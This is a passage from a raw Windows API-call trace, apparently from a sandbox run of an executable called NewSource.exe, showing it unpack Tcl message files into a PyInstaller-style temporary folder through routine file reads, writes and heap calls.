liDistanceToMove=0x5bfe6e, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.187] htonl (hostlong=0x9f000000) returned 0x9f [0037.187] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9f) returned 0x55cfe0 [0037.187] htonl (hostlong=0x9f000000) returned 0x9f [0037.187] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.187] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.187] htonl (hostlong=0xfb000000) returned 0xfb [0037.187] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfb) returned 0x550600 [0037.187] htonl (hostlong=0x9f000000) returned 0x9f [0037.187] htonl (hostlong=0xfb000000) returned 0xfb [0037.187] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.188] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.188] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0037.188] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.188] CloseHandle (hObject=0x10c) returned 1 [0037.188] GetLastError () returned 0x0 [0037.188] SetLastError (dwErrCode=0x0) [0037.188] GetLastError () returned 0x0 [0037.188] SetLastError (dwErrCode=0x0) [0037.188] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.188] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.188] GetFileType (hFile=0x10c) returned 0x1 [0037.188] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.188] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.188] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.188] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.188] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.188] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.188] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.188] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.188] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.188] CloseHandle (hObject=0x10c) returned 1 [0037.188] GetLastError () returned 0x0 [0037.189] SetLastError (dwErrCode=0x0) [0037.189] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.189] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.189] GetFileType (hFile=0x10c) returned 0x1 [0037.189] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.189] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.189] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.189] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.189] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.189] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.189] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.189] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.189] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.189] CloseHandle (hObject=0x10c) returned 1 [0037.189] GetLastError () returned 0x0 [0037.189] SetLastError (dwErrCode=0x0) [0037.189] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_do.msg") returned 64 [0037.189] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_do.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\es_do.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.189] GetLastError () returned 0x2 [0037.189] SetLastError (dwErrCode=0x2) [0037.190] GetLastError () returned 0x2 [0037.190] SetLastError (dwErrCode=0x2) [0037.190] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_do.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_do.msg", lpFilePart=0x0) returned 0x3f [0037.190] GetLastError () returned 0x2 [0037.190] SetLastError (dwErrCode=0x2) [0037.190] GetLastError () returned 0x2 [0037.190] SetLastError (dwErrCode=0x2) [0037.190] GetLastError () returned 0x2 [0037.190] SetLastError (dwErrCode=0x2) [0037.190] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_do.msg") returned 64 [0037.190] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.190] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_do.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\es_do.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.190] GetFileType (hFile=0x10c) returned 0x1 [0037.190] htonl (hostlong=0xfb000000) returned 0xfb [0037.190] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.190] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xfb, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xfb, lpOverlapped=0x0) returned 1 [0037.191] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.191] CloseHandle (hObject=0x10c) returned 1 [0037.192] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.192] htonl (hostlong=0x30000000) returned 0x30 [0037.192] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.192] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.192] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.192] GetFileType (hFile=0x10c) returned 0x1 [0037.192] htonl (hostlong=0xd4f5700) returned 0x574f0d [0037.192] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5bff0d, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.192] htonl (hostlong=0x9f000000) returned 0x9f [0037.192] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9f) returned 0x55cfe0 [0037.192] htonl (hostlong=0x9f000000) returned 0x9f [0037.192] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.192] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.192] htonl (hostlong=0xfb000000) returned 0xfb [0037.192] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfb) returned 0x550600 [0037.192] htonl (hostlong=0x9f000000) returned 0x9f [0037.192] htonl (hostlong=0xfb000000) returned 0xfb [0037.192] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.192] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.192] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0037.192] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.192] CloseHandle (hObject=0x10c) returned 1 [0037.193] GetLastError () returned 0x0 [0037.193] SetLastError (dwErrCode=0x0) [0037.193] GetLastError () returned 0x0 [0037.193] SetLastError (dwErrCode=0x0) [0037.193] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.193] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.193] GetFileType (hFile=0x10c) returned 0x1 [0037.193] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.193] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.193] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.193] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.193] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.193] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.193] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.193] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.193] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.193] CloseHandle (hObject=0x10c) returned 1 [0037.193] GetLastError () returned 0x0 [0037.193] SetLastError (dwErrCode=0x0) [0037.193] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.193] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.193] GetFileType (hFile=0x10c) returned 0x1 [0037.193] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.193] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.193] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.194] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.194] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.194] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.194] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.194] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.194] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.194] CloseHandle (hObject=0x10c) returned 1 [0037.194] GetLastError () returned 0x0 [0037.194] SetLastError (dwErrCode=0x0) [0037.194] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_ec.msg") returned 64 [0037.194] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_ec.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\es_ec.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.194] GetLastError () returned 0x2 [0037.194] SetLastError (dwErrCode=0x2) [0037.194] GetLastError () returned 0x2 [0037.194] SetLastError (dwErrCode=0x2) [0037.194] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_ec.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_ec.msg", lpFilePart=0x0) returned 0x3f [0037.194] GetLastError () returned 0x2 [0037.194] SetLastError (dwErrCode=0x2) [0037.194] GetLastError () returned 0x2 [0037.194] SetLastError (dwErrCode=0x2) [0037.194] GetLastError () returned 0x2 [0037.194] SetLastError (dwErrCode=0x2) [0037.194] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_ec.msg") returned 64 [0037.194] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.194] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_ec.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\es_ec.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.195] GetFileType (hFile=0x10c) returned 0x1 [0037.195] htonl (hostlong=0xfb000000) returned 0xfb [0037.196] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.196] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xfb, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xfb, lpOverlapped=0x0) returned 1 [0037.197] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.197] CloseHandle (hObject=0x10c) returned 1 [0037.197] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.197] htonl (hostlong=0x30000000) returned 0x30 [0037.197] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.197] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.197] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.197] GetFileType (hFile=0x10c) returned 0x1 [0037.197] htonl (hostlong=0xac4f5700) returned 0x574fac [0037.197] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5bffac, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.197] htonl (hostlong=0x9f000000) returned 0x9f [0037.197] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9f) returned 0x55cfe0 [0037.198] htonl (hostlong=0x9f000000) returned 0x9f [0037.198] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.198] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.198] htonl (hostlong=0xfb000000) returned 0xfb [0037.198] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfb) returned 0x550600 [0037.198] htonl (hostlong=0x9f000000) returned 0x9f [0037.198] htonl (hostlong=0xfb000000) returned 0xfb [0037.198] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.198] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.198] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0037.198] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.198] CloseHandle (hObject=0x10c) returned 1 [0037.198] GetLastError () returned 0x0 [0037.198] SetLastError (dwErrCode=0x0) [0037.198] GetLastError () returned 0x0 [0037.198] SetLastError (dwErrCode=0x0) [0037.198] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.198] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.198] GetFileType (hFile=0x10c) returned 0x1 [0037.198] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.198] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.198] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.198] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.198] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.198] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.198] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.198] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.199] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.199] CloseHandle (hObject=0x10c) returned 1 [0037.199] GetLastError () returned 0x0 [0037.199] SetLastError (dwErrCode=0x0) [0037.199] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.199] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.199] GetFileType (hFile=0x10c) returned 0x1 [0037.199] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.199] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.199] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.199] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.199] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.199] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.199] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.199] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.199] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.199] CloseHandle (hObject=0x10c) returned 1 [0037.199] GetLastError () returned 0x0 [0037.199] SetLastError (dwErrCode=0x0) [0037.199] MultiByteToWideChar (in: 